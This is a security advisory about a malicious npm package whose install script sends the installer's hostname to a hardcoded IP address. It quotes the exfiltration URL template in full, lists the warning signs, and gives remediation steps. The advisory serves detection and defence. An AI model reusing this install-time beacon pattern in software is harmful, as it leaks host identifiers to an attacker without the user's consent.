On npm install, postinstall.js reads the installer's hostname via os.hostname() and sends it as a query parameter to a hardcoded bare-IP HTTP endpoint: http://37.60.255.218/skybackground.png?display=${encodeURIComponent(displayProfile)}. The response is saved locally as downloaded-image.jpg as a cover story. The package's README advertises 'Simple Text Utils' for string operations (capitalize/reverse/wordCount), and index.js exports only downloadImage — neither matches the stated purpose. The author field is the placeholder 'Your Name'. The combination of hardcoded bare-IP destination, plain HTTP, install-time auto-execution, host-identifier exfiltration, README/behavior mismatch, and placeholder metadata is a recon beacon shape, not legitimate functionality. Installing this package leaks the host's identifier to an attacker-controlled IP without consent.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
